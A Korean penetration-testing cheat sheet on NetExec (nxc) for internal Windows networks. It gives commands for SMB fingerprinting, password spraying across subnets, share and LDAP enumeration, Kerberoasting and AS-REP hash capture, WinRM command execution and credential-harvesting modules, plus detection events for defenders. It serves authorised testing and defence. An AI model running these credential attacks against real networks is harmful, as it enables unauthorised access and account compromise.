ATT&CK: T1046 Network Service Discovery · Discovery (TA0007)
내부망 핸즈온에서 “SMB 다 돌면서 share, OS, signing, null session, 공통 계정” 확인하는 작업을 한 줄로 처리하는 도구. 과거 CrackMapExec은 유지보수가 멈춰서 커뮤니티 포크인 **NetExec(nxc)**이 현재 표준.
1. 설치
pipx install netexec
# 바이너리 이름: nxc
nxc --version
2. SMB 호스트 지문
인증 없이 OS/도메인/서명 상태만 확인:
nxc smb 10.0.0.0/24
출력에서 중요한 것:
SMB signing: False→ relay 공격 가능성- Null session:
Guest액세스 허용 여부 - OS Build: 패치 수준 추정
3. 자격 검증 (단일 비밀번호 → 다수 호스트)
같은 로컬 패스워드가 여러 호스트에서 재사용되는지 확인:
nxc smb 10.0.0.0/24 -u Administrator -p 'LocalPw!' --local-auth
--local-auth: 도메인 자격이 아닌 각 호스트의 로컬 SAM 대상.Pwn3d!표시가 뜨면 그 호스트에서 로컬 관리자.
OPSEC: 많은 호스트에 동시에 로그인 시도 → 4625/4624 이벤트 폭증. 반드시 lockout 정책 확인 후, 1~2개 샘플로 먼저 테스트.
4. 공유 폴더 열거
nxc smb 10.0.0.5 -u alice -p 'Pw' --shares
READ/WRITE권한이 표시됨.- 특히 공용
IPC$외의 공유에Everyone READ가 걸린 게 발견되면 Information Disclosure.
5. LDAP 쿼리
nxc ldap 10.0.0.10 -u alice -p 'Pw' --users
nxc ldap 10.0.0.10 -u alice -p 'Pw' --groups
nxc ldap 10.0.0.10 -u alice -p 'Pw' --kerberoasting kerb-hashes.txt
nxc ldap 10.0.0.10 -u alice -p 'Pw' --asreproast asrep.txt
- 통합된 Kerberoasting/AS-REP 수집 — Rubeus/Impacket 안 올리고 리눅스에서 처리.
6. WinRM / MSSQL / SSH
같은 명령 체계를 다른 프로토콜에도:
nxc winrm 10.0.0.5 -u alice -p 'Pw' -x whoami
nxc mssql 10.0.0.5 -u sa -p 'sa' -q 'SELECT @@version'
nxc ssh 10.0.0.0/24 -u root -p 'toor'
7. 모듈 활용
내장 모듈로 특정 작업 자동화:
# 사용 가능한 모듈
nxc smb -L
# 예: SessionGopher 같은 자격 수집 모듈 (대상 환경에서 허가 필수)
nxc smb 10.0.0.5 -u alice -p 'Pw' -M <module-name>
8. 블루팀 관점에서 보이는 흔적
- 4625 (실패) + 4624 (성공) 로그온이 한 소스 IP에서 다수 대상으로 발생.
- SMB Event ID 5140 (network share access) 폭증.
- WinRM: Microsoft-Windows-WinRM/Operational 로그.
Sysmon + Zeek + SIGMA 룰(login_brute_force_*) 조합으로 1분 이내 탐지 가능.
9. 안전한 사용 패턴
- 범위를 좁혀서 테스트:
--jitter 2추가 (일부 모듈 지원). - 결과를 JSON으로 저장(
--log또는--log-dir) → PT 보고서 raw data로 활용. - lockout threshold를 사전 조회해 threshold-1회 미만으로만 시도.
참고
- Pennyw0rth/NetExec
- NetExec Wiki
- MITRE ATT&CK — T1046